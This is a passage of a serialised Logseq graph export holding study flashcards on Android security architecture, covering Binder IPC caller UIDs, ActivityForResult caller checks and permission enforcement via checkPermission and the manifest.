delivery:logseq____&quot;,536873461]],[logseq____&quot;^15logseq____&quot;,[494,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873437]],[logseq____&quot;^15logseq____&quot;,[494,logseq____&quot;^Flogseq____&quot;,502,536873624]],[logseq____&quot;^15logseq____&quot;,[494,logseq____&quot;^Xlogseq____&quot;,413,536873437]],[logseq____&quot;^15logseq____&quot;,[494,logseq____&quot;^Vlogseq____&quot;,489,536873583]],[logseq____&quot;^15logseq____&quot;,[494,logseq____&quot;^Ulogseq____&quot;,2,536873821]],[logseq____&quot;^15logseq____&quot;,[494,logseq____&quot;^Ulogseq____&quot;,38,536873821]],[logseq____&quot;^15logseq____&quot;,[494,logseq____&quot;^Ulogseq____&quot;,413,536873821]],[logseq____&quot;^15logseq____&quot;,[494,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873461]],[logseq____&quot;^15logseq____&quot;,[494,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9888a-de21-4a52-adf1-b4cd255d40e3logseq____&quot;,536873437]],[logseq____&quot;^15logseq____&quot;,[495,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nsequenceDiagram\\n participant A as App Process A (Sender)\\n participant BK as Binder Kernel Module\\n participant S as System Process S (AMS)\\n participant B as App Process B (Receiver)\\n \\n alt 1st transaction\\n A-logseq____&gt;logseq____&gt;BK: 1) translogseq____&lt;sublogseq____&gt;A-Slogseq____&lt;/sublogseq____&gt;\\n BK-logseq____&gt;logseq____&gt;S: 2) translogseq____&lt;sublogseq____&gt;A-Slogseq____&lt;/sublogseq____&gt; = {P, UID=A}\\n end\\n \\n alt 2nd transaction\\n S-logseq____&gt;logseq____&gt;BK: 3) translogseq____&lt;sublogseq____&gt;S-Blogseq____&lt;/sublogseq____&gt;\\n BK-logseq____&gt;logseq____&gt;B: 4) translogseq____&lt;sublogseq____&gt;S-Blogseq____&lt;/sublogseq____&gt; = {P, UID=S}\\n end\\n```logseq____&quot;,536873461]],[logseq____&quot;^15logseq____&quot;,[495,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873461]],[logseq____&quot;^15logseq____&quot;,[495,logseq____&quot;^Flogseq____&quot;,494,536873461]],[logseq____&quot;^15logseq____&quot;,[495,logseq____&quot;^Xlogseq____&quot;,413,536873461]],[logseq____&quot;^15logseq____&quot;,[495,logseq____&quot;^Vlogseq____&quot;,494,536873465]],[logseq____&quot;^15logseq____&quot;,[495,logseq____&quot;^Ulogseq____&quot;,2,536873821]],[logseq____&quot;^15logseq____&quot;,[495,logseq____&quot;^Ulogseq____&quot;,38,536873821]],[logseq____&quot;^15logseq____&quot;,[495,logseq____&quot;^Ulogseq____&quot;,413,536873821]],[logseq____&quot;^15logseq____&quot;,[495,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873461]],[logseq____&quot;^15logseq____&quot;,[495,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98986-c0b8-4a15-8582-58de9efee9c1logseq____&quot;,536873461]],[logseq____&quot;^15logseq____&quot;,[496,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;The second transaction is needed for intents (AMS invokes service)logseq____&quot;,536873490]],[logseq____&quot;^15logseq____&quot;,[496,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873468]],[logseq____&quot;^15logseq____&quot;,[496,logseq____&quot;^Flogseq____&quot;,495,536873468]],[logseq____&quot;^15logseq____&quot;,[496,logseq____&quot;^Xlogseq____&quot;,413,536873468]],[logseq____&quot;^15logseq____&quot;,[496,logseq____&quot;^Vlogseq____&quot;,494,536873468]],[logseq____&quot;^15logseq____&quot;,[496,logseq____&quot;^Ulogseq____&quot;,2,536873821]],[logseq____&quot;^15logseq____&quot;,[496,logseq____&quot;^Ulogseq____&quot;,38,536873821]],[logseq____&quot;^15logseq____&quot;,[496,logseq____&quot;^Ulogseq____&quot;,413,536873821]],[logseq____&quot;^15logseq____&quot;,[496,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873490]],[logseq____&quot;^15logseq____&quot;,[496,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9898d-9bd8-4248-9823-3383d0fca07flogseq____&quot;,536873468]],[logseq____&quot;^15logseq____&quot;,[497,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Message dispatching between threads:logseq____&quot;,536873500]],[logseq____&quot;^15logseq____&quot;,[497,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873493]],[logseq____&quot;^15logseq____&quot;,[497,logseq____&quot;^Flogseq____&quot;,494,536873587]],[logseq____&quot;^15logseq____&quot;,[497,logseq____&quot;^Xlogseq____&quot;,413,536873493]],[logseq____&quot;^15logseq____&quot;,[497,logseq____&quot;^Vlogseq____&quot;,489,536873587]],[logseq____&quot;^15logseq____&quot;,[497,logseq____&quot;^Ulogseq____&quot;,2,536873821]],[logseq____&quot;^15logseq____&quot;,[497,logseq____&quot;^Ulogseq____&quot;,38,536873821]],[logseq____&quot;^15logseq____&quot;,[497,logseq____&quot;^Ulogseq____&quot;,413,536873821]],[logseq____&quot;^15logseq____&quot;,[497,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873500]],[logseq____&quot;^15logseq____&quot;,[497,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b989c5-0478-400a-b4df-de0441023fcblogseq____&quot;,536873493]],[logseq____&quot;^15logseq____&quot;,[498,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nsequenceDiagram\\n participant A as App Process A (Sender)\\n participant BK as Binder Kernel Module\\n \\n box \\logseq____&quot;App Process B (Receiver)\\logseq____&quot;\\n participant IPC as IPC Thread\\n participant MAIN as Main Thread\\n end\\n\\n A-logseq____&gt;logseq____&gt;BK: 1) trans\\n BK-logseq____&gt;logseq____&gt;IPC: 2) trans = {P, UID = A}\\n IPC-logseq____&gt;logseq____&gt;MAIN: Dispatch Payloadlogseq____&lt;brlogseq____&gt;(Needed for Intents)\\n note left of IPC: calling UID = A ✓logseq____&lt;brlogseq____&gt;(Service/ContentProvider sees A)\\n note right of MAIN: calling UID = B? (Apps own UID)\\n```logseq____&quot;,536873532]],[logseq____&quot;^15logseq____&quot;,[498,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873500]],[logseq____&quot;^15logseq____&quot;,[498,logseq____&quot;^Flogseq____&quot;,497,536873572]],[logseq____&quot;^15logseq____&quot;,[498,logseq____&quot;^Xlogseq____&quot;,413,536873500]],[logseq____&quot;^15logseq____&quot;,[498,logseq____&quot;^Vlogseq____&quot;,497,536873502]],[logseq____&quot;^15logseq____&quot;,[498,logseq____&quot;^Ulogseq____&quot;,2,536873821]],[logseq____&quot;^15logseq____&quot;,[498,logseq____&quot;^Ulogseq____&quot;,38,536873821]],[logseq____&quot;^15logseq____&quot;,[498,logseq____&quot;^Ulogseq____&quot;,413,536873821]],[logseq____&quot;^15logseq____&quot;,[498,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873532]],[logseq____&quot;^15logseq____&quot;,[498,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b989d4-ba65-428d-8e73-a2e2681b2457logseq____&quot;,536873500]],[logseq____&quot;^15logseq____&quot;,[500,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Dispatched payload only sees correct UID in IPC thread, not if payloads are dispatched to main threadlogseq____&quot;,536873569]],[logseq____&quot;^15logseq____&quot;,[500,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873535]],[logseq____&quot;^15logseq____&quot;,[500,logseq____&quot;^Flogseq____&quot;,497,536873591]],[logseq____&quot;^15logseq____&quot;,[500,logseq____&quot;^Xlogseq____&quot;,413,536873535]],[logseq____&quot;^15logseq____&quot;,[500,logseq____&quot;^Vlogseq____&quot;,489,536873591]],[logseq____&quot;^15logseq____&quot;,[500,logseq____&quot;^Ulogseq____&quot;,2,536873821]],[logseq____&quot;^15logseq____&quot;,[500,logseq____&quot;^Ulogseq____&quot;,38,536873821]],[logseq____&quot;^15logseq____&quot;,[500,logseq____&quot;^Ulogseq____&quot;,413,536873821]],[logseq____&quot;^15logseq____&quot;,[500,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873569]],[logseq____&quot;^15logseq____&quot;,[500,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98a57-e45e-48d8-aa3c-49038aee031blogseq____&quot;,536873535]],[logseq____&quot;^15logseq____&quot;,[502,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Any indirection over ((67b8b44a-6c31-4d6b-9636-36ff5e0010d0)) prohibits `getCallingUid`logseq____&quot;,536873660]],[logseq____&quot;^15logseq____&quot;,[502,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873624]],[logseq____&quot;^15logseq____&quot;,[502,logseq____&quot;^Flogseq____&quot;,493,536873624]],[logseq____&quot;^15logseq____&quot;,[502,logseq____&quot;^Xlogseq____&quot;,413,536873624]],[logseq____&quot;^15logseq____&quot;,[502,logseq____&quot;^Vlogseq____&quot;,489,536873624]],[logseq____&quot;^15logseq____&quot;,[502,logseq____&quot;^Ulogseq____&quot;,2,536873821]],[logseq____&quot;^15logseq____&quot;,[502,logseq____&quot;^Ulogseq____&quot;,38,536873821]],[logseq____&quot;^15logseq____&quot;,[502,logseq____&quot;^Ulogseq____&quot;,413,536873821]],[logseq____&quot;^15logseq____&quot;,[502,logseq____&quot;^Ulogseq____&quot;,470,536873821]],[logseq____&quot;^15logseq____&quot;,[502,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873660]],[logseq____&quot;^15logseq____&quot;,[502,logseq____&quot;^Hlogseq____&quot;,470,536873660]],[logseq____&quot;^15logseq____&quot;,[502,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98aaf-9ded-4c69-b64a-4cc9eba7a84flogseq____&quot;,536873624]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## `ActivityForResult` #card #security-architecture\\nid:: 67b98b1f-54b1-4f86-9cf8-cfbea33c6c31logseq____&quot;,536873836]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873696]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^Flogseq____&quot;,417,536873700]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^Xlogseq____&quot;,411,536873696]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^Vlogseq____&quot;,411,536873700]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^Ulogseq____&quot;,2,536873721]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^Ulogseq____&quot;,38,536873721]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^Ulogseq____&quot;,411,536873721]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b98b1f-54b1-4f86-9cf8-cfbea33c6c31logseq____&quot;],536873836]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[logseq____&quot;^18logseq____&quot;]],536873836]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b98b1f-54b1-4f86-9cf8-cfbea33c6c31logseq____&quot;],536873836]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^Hlogseq____&quot;,2,536873720]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^Hlogseq____&quot;,38,536873720]],[logseq____&quot;^15logseq____&quot;,[504,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98b1f-54b1-4f86-9cf8-cfbea33c6c31logseq____&quot;,536873696]],[logseq____&quot;^15logseq____&quot;,[505,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can check senders packagename as result may contain sensitive data\\nid:: 67b98b29-ba55-42e8-a8c7-bf3001120a68logseq____&quot;,536873827]],[logseq____&quot;^15logseq____&quot;,[505,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873704]],[logseq____&quot;^15logseq____&quot;,[505,logseq____&quot;^Flogseq____&quot;,504,536873704]],[logseq____&quot;^15logseq____&quot;,[505,logseq____&quot;^Xlogseq____&quot;,411,536873704]],[logseq____&quot;^15logseq____&quot;,[505,logseq____&quot;^Vlogseq____&quot;,504,536873706]],[logseq____&quot;^15logseq____&quot;,[505,logseq____&quot;^Ulogseq____&quot;,2,536873837]],[logseq____&quot;^15logseq____&quot;,[505,logseq____&quot;^Ulogseq____&quot;,38,536873837]],[logseq____&quot;^15logseq____&quot;,[505,logseq____&quot;^Ulogseq____&quot;,411,536873837]],[logseq____&quot;^15logseq____&quot;,[505,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b98b29-ba55-42e8-a8c7-bf3001120a68logseq____&quot;],536873827]],[logseq____&quot;^15logseq____&quot;,[505,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[logseq____&quot;^18logseq____&quot;]],536873827]],[logseq____&quot;^15logseq____&quot;,[505,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b98b29-ba55-42e8-a8c7-bf3001120a68logseq____&quot;],536873827]],[logseq____&quot;^15logseq____&quot;,[505,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98b29-ba55-42e8-a8c7-bf3001120a68logseq____&quot;,536873704]],[logseq____&quot;^15logseq____&quot;,[506,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;logseq____&quot;,536873717]],[logseq____&quot;^15logseq____&quot;,[506,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873717]],[logseq____&quot;^15logseq____&quot;,[506,logseq____&quot;^@logseq____&quot;,false,536873717]],[logseq____&quot;^15logseq____&quot;,[506,logseq____&quot;^Flogseq____&quot;,24,536873717]],[logseq____&quot;^15logseq____&quot;,[506,logseq____&quot;^Xlogseq____&quot;,24,536873717]],[logseq____&quot;^15logseq____&quot;,[506,logseq____&quot;^Vlogseq____&quot;,24,536873717]],[logseq____&quot;^15logseq____&quot;,[506,logseq____&quot;^Ulogseq____&quot;,24,536873718]],[logseq____&quot;^15logseq____&quot;,[506,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873717]],[logseq____&quot;^15logseq____&quot;,[506,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98b36-ae07-49c2-b3d0-b9804559dd57logseq____&quot;,536873717]],[logseq____&quot;^15logseq____&quot;,[507,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;provides `getCallingPackage`, `getCallingActivity`logseq____&quot;,536873758]],[logseq____&quot;^15logseq____&quot;,[507,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873736]],[logseq____&quot;^15logseq____&quot;,[507,logseq____&quot;^Flogseq____&quot;,505,536873736]],[logseq____&quot;^15logseq____&quot;,[507,logseq____&quot;^Xlogseq____&quot;,411,536873736]],[logseq____&quot;^15logseq____&quot;,[507,logseq____&quot;^Vlogseq____&quot;,504,536873736]],[logseq____&quot;^15logseq____&quot;,[507,logseq____&quot;^Ulogseq____&quot;,2,536873837]],[logseq____&quot;^15logseq____&quot;,[507,logseq____&quot;^Ulogseq____&quot;,38,536873837]],[logseq____&quot;^15logseq____&quot;,[507,logseq____&quot;^Ulogseq____&quot;,411,536873837]],[logseq____&quot;^15logseq____&quot;,[507,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873758]],[logseq____&quot;^15logseq____&quot;,[507,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98b55-e6f7-4d27-bebe-aebfeeea5d77logseq____&quot;,536873736]],[logseq____&quot;^15logseq____&quot;,[508,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;PackageManager then maps to UID: `PackageManager.getPackageUid(String packageName, int flags`logseq____&quot;,536873793]],[logseq____&quot;^15logseq____&quot;,[508,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873758]],[logseq____&quot;^15logseq____&quot;,[508,logseq____&quot;^Flogseq____&quot;,507,536873758]],[logseq____&quot;^15logseq____&quot;,[508,logseq____&quot;^Xlogseq____&quot;,411,536873758]],[logseq____&quot;^15logseq____&quot;,[508,logseq____&quot;^Vlogseq____&quot;,504,536873758]],[logseq____&quot;^15logseq____&quot;,[508,logseq____&quot;^Ulogseq____&quot;,2,536873837]],[logseq____&quot;^15logseq____&quot;,[508,logseq____&quot;^Ulogseq____&quot;,38,536873837]],[logseq____&quot;^15logseq____&quot;,[508,logseq____&quot;^Ulogseq____&quot;,411,536873837]],[logseq____&quot;^15logseq____&quot;,[508,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873793]],[logseq____&quot;^15logseq____&quot;,[508,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98b73-c2f0-4060-a666-8f364d534e78logseq____&quot;,536873758]],[logseq____&quot;^15logseq____&quot;,[509,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;logseq____&quot;,536873794]],[logseq____&quot;^15logseq____&quot;,[509,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873794]],[logseq____&quot;^15logseq____&quot;,[509,logseq____&quot;^Flogseq____&quot;,508,536873794]],[logseq____&quot;^15logseq____&quot;,[509,logseq____&quot;^Xlogseq____&quot;,411,536873794]],[logseq____&quot;^15logseq____&quot;,[509,logseq____&quot;^Vlogseq____&quot;,504,536873794]],[logseq____&quot;^15logseq____&quot;,[509,logseq____&quot;^Ulogseq____&quot;,2,536873837]],[logseq____&quot;^15logseq____&quot;,[509,logseq____&quot;^Ulogseq____&quot;,38,536873837]],[logseq____&quot;^15logseq____&quot;,[509,logseq____&quot;^Ulogseq____&quot;,411,536873837]],[logseq____&quot;^15logseq____&quot;,[509,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873794]],[logseq____&quot;^15logseq____&quot;,[509,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98b95-da73-4bf0-a32d-743a9d5631eclogseq____&quot;,536873794]],[logseq____&quot;^15logseq____&quot;,[510,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;[ActivityForResult](((67b98b1f-54b1-4f86-9cf8-cfbea33c6c31))) can additionally check package information (indirection to UID)logseq____&quot;,536873883]],[logseq____&quot;^15logseq____&quot;,[510,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873800]],[logseq____&quot;^15logseq____&quot;,[510,logseq____&quot;^Flogseq____&quot;,500,536873800]],[logseq____&quot;^15logseq____&quot;,[510,logseq____&quot;^Xlogseq____&quot;,413,536873800]],[logseq____&quot;^15logseq____&quot;,[510,logseq____&quot;^Vlogseq____&quot;,489,536873800]],[logseq____&quot;^15logseq____&quot;,[510,logseq____&quot;^Ulogseq____&quot;,2,536873865]],[logseq____&quot;^15logseq____&quot;,[510,logseq____&quot;^Ulogseq____&quot;,38,536873865]],[logseq____&quot;^15logseq____&quot;,[510,logseq____&quot;^Ulogseq____&quot;,413,536873865]],[logseq____&quot;^15logseq____&quot;,[510,logseq____&quot;^Ulogseq____&quot;,504,536873865]],[logseq____&quot;^15logseq____&quot;,[510,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873883]],[logseq____&quot;^15logseq____&quot;,[510,logseq____&quot;^Hlogseq____&quot;,504,536873883]],[logseq____&quot;^15logseq____&quot;,[510,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98c1a-2195-445a-a9e0-b9d17ffc7f93logseq____&quot;,536873800]],[logseq____&quot;^15logseq____&quot;,[513,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Enforcing Permissions #card #security-architecturelogseq____&quot;,536873913]],[logseq____&quot;^15logseq____&quot;,[513,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873884]],[logseq____&quot;^15logseq____&quot;,[513,logseq____&quot;^Flogseq____&quot;,510,536873908]],[logseq____&quot;^15logseq____&quot;,[513,logseq____&quot;^Xlogseq____&quot;,413,536873884]],[logseq____&quot;^15logseq____&quot;,[513,logseq____&quot;^Vlogseq____&quot;,489,536873908]],[logseq____&quot;^15logseq____&quot;,[513,logseq____&quot;^Ulogseq____&quot;,2,536873914]],[logseq____&quot;^15logseq____&quot;,[513,logseq____&quot;^Ulogseq____&quot;,38,536873914]],[logseq____&quot;^15logseq____&quot;,[513,logseq____&quot;^Ulogseq____&quot;,413,536873914]],[logseq____&quot;^15logseq____&quot;,[513,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873913]],[logseq____&quot;^15logseq____&quot;,[513,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536873913]],[logseq____&quot;^15logseq____&quot;,[513,logseq____&quot;^Hlogseq____&quot;,2,536873913]],[logseq____&quot;^15logseq____&quot;,[513,logseq____&quot;^Hlogseq____&quot;,38,536873913]],[logseq____&quot;^15logseq____&quot;,[513,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98ceb-87f2-4b00-9ee9-6a3c3e60a4felogseq____&quot;,536873884]],[logseq____&quot;^15logseq____&quot;,[516,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Developers can use `checkPermission` and `Binder.getCallingUid`:logseq____&quot;,536873940]],[logseq____&quot;^15logseq____&quot;,[516,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873913]],[logseq____&quot;^15logseq____&quot;,[516,logseq____&quot;^Flogseq____&quot;,513,536873913]],[logseq____&quot;^15logseq____&quot;,[516,logseq____&quot;^Xlogseq____&quot;,413,536873913]],[logseq____&quot;^15logseq____&quot;,[516,logseq____&quot;^Vlogseq____&quot;,513,536873915]],[logseq____&quot;^15logseq____&quot;,[516,logseq____&quot;^Ulogseq____&quot;,2,536873914]],[logseq____&quot;^15logseq____&quot;,[516,logseq____&quot;^Ulogseq____&quot;,38,536873914]],[logseq____&quot;^15logseq____&quot;,[516,logseq____&quot;^Ulogseq____&quot;,413,536873914]],[logseq____&quot;^15logseq____&quot;,[516,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873940]],[logseq____&quot;^15logseq____&quot;,[516,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98d05-f7aa-4d65-9297-cee0a45b21e8logseq____&quot;,536873913]],[logseq____&quot;^15logseq____&quot;,[517,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*per-method* enforcement logiclogseq____&quot;,536873953]],[logseq____&quot;^15logseq____&quot;,[517,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873940]],[logseq____&quot;^15logseq____&quot;,[517,logseq____&quot;^Flogseq____&quot;,516,536873940]],[logseq____&quot;^15logseq____&quot;,[517,logseq____&quot;^Xlogseq____&quot;,413,536873940]],[logseq____&quot;^15logseq____&quot;,[517,logseq____&quot;^Vlogseq____&quot;,516,536873942]],[logseq____&quot;^15logseq____&quot;,[517,logseq____&quot;^Ulogseq____&quot;,2,536873941]],[logseq____&quot;^15logseq____&quot;,[517,logseq____&quot;^Ulogseq____&quot;,38,536873941]],[logseq____&quot;^15logseq____&quot;,[517,logseq____&quot;^Ulogseq____&quot;,413,536873941]],[logseq____&quot;^15logseq____&quot;,[517,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873953]],[logseq____&quot;^15logseq____&quot;,[517,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98d1b-29ab-4a47-a95d-9a9387ceb6a0logseq____&quot;,536873940]],[logseq____&quot;^15logseq____&quot;,[518,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;must be implemented for all api methodslogseq____&quot;,536873960]],[logseq____&quot;^15logseq____&quot;,[518,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873956]],[logseq____&quot;^15logseq____&quot;,[518,logseq____&quot;^Flogseq____&quot;,517,536873956]],[logseq____&quot;^15logseq____&quot;,[518,logseq____&quot;^Xlogseq____&quot;,413,536873956]],[logseq____&quot;^15logseq____&quot;,[518,logseq____&quot;^Vlogseq____&quot;,516,536873956]],[logseq____&quot;^15logseq____&quot;,[518,logseq____&quot;^Ulogseq____&quot;,2,536873957]],[logseq____&quot;^15logseq____&quot;,[518,logseq____&quot;^Ulogseq____&quot;,38,536873957]],[logseq____&quot;^15logseq____&quot;,[518,logseq____&quot;^Ulogseq____&quot;,413,536873957]],[logseq____&quot;^15logseq____&quot;,[518,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873960]],[logseq____&quot;^15logseq____&quot;,[518,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98d27-7168-4a96-a34b-92c890885acclogseq____&quot;,536873956]],[logseq____&quot;^15logseq____&quot;,[519,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Declare component permissions in [[Application Manifest]]logseq____&quot;,536874025]],[logseq____&quot;^15logseq____&quot;,[519,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873960]],[logseq____&quot;^15logseq____&quot;,[519,logseq____&quot;^Flogseq____&quot;,516,536873962]],[logseq____&quot;^15logseq____&quot;,[519,logseq____&quot;^Xlogseq____&quot;,413,536873960]],[logseq____&quot;^15logseq____&quot;,[519,logseq____&quot;^Vlogseq____&quot;,513,536873962]],[logseq____&quot;^15logseq____&quot;,[519,logseq____&quot;^Ulogseq____&quot;,2,536874026]],[logseq____&quot;^15logseq____&quot;,[519,logseq____&quot;^Ulogseq____&quot;,28,536874026]],[logseq____&quot;^15logseq____&quot;,[519,logseq____&quot;^Ulogseq____&quot;,38,536874026]],[logseq____&quot;^15logseq____&quot;,[519,logseq____&quot;^Ulogseq____&quot;,413,536874026]],[logseq____&quot;^15logseq____&quot;,[519,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874025]],[logseq____&quot;^15logseq____&quot;,[519,logseq____&quot;^Hlogseq____&quot;,28,536874025]],[logseq____&quot;^15logseq____&quot;,[519,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98d31-4be8-4fb3-b31e-7394be843beflogseq____&quot;,536873960]],[logseq____&quot;^15logseq____&quot;,[520,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;relaxes to only simple policieslogseq____&quot;,536873998]],[logseq____&quot;^15logseq____&quot;,[520,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873988]],[logseq____&quot;^15logseq____&quot;,[520,logseq____&quot;^Flogseq____&quot;,519,536873988]],[logseq____&quot;^15logseq____&quot;,[520,logseq____&quot;^Xlogseq____&quot;,413,536873988]],[logseq____&quot;^15logseq____&quot;,[520,logseq____&quot;^Vlogseq____&quot;,519,536873992]],[logseq____&quot;^15logseq____&quot;,[520,logseq____&quot;^Ulogseq____&quot;,2,536874026]],[logseq____&quot;^15logseq____&quot;,[520,logseq____&quot;^Ulogseq____&quot;,28,536874026]],[logseq____&quot;^15logseq____&quot;,[520,logseq____&quot;^Ulogseq____&quot;,38,536874026]],[logseq____&quot;^15logseq____&quot;,[520,logseq____&quot;^Ulogseq____&quot;,413,536874026]],[logseq____&quot;^15logseq____&quot;,[520,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873998]],[logseq____&quot;^15logseq____&quot;,[520,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98d56-f221-4afb-8792-1cce5c4060fflogseq____&quot;,536873988]],[logseq____&quot;^15logseq____&quot;,[521,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;policy enforcement delegated to OSlogseq____&quot;,536874014]],[logseq____&quot;^15logseq____&quot;,[521,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873998]],[logseq____&quot;^15logseq____&quot;,[521,logseq____&quot;^Flogseq____&quot;,520,536873998]],[logseq____&quot;^15logseq____&quot;,[521,logseq____&quot;^Xlogseq____&quot;,413,536873998]],[logseq____&quot;^15logseq____&quot;,[521,logseq____&quot;^Vlogseq____&quot;,519,536873998]],[logseq____&quot;^15logseq____&quot;,[521,logseq____&quot;^Ulogseq____&quot;,2,536874026]],[logseq____&quot;^15logseq____&quot;,[521,logseq____&quot;^Ulogseq____&quot;,28,536874026]],[logseq____&quot;^15logseq____&quot;,[521,logseq____&quot;^Ulogseq____&quot;,38,536874026]],[logseq____&quot;^15logseq____&quot;,[521,logseq____&quot;^Ulogseq____&quot;,413,536874026]],[logseq____&quot;^15logseq____&quot;,[521,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874014]],[logseq____&quot;^15logseq____&quot;,[521,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98d64-affc-46fe-9f97-2cb4da2d2465logseq____&quot;,536873998]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Enforcing Permissions via 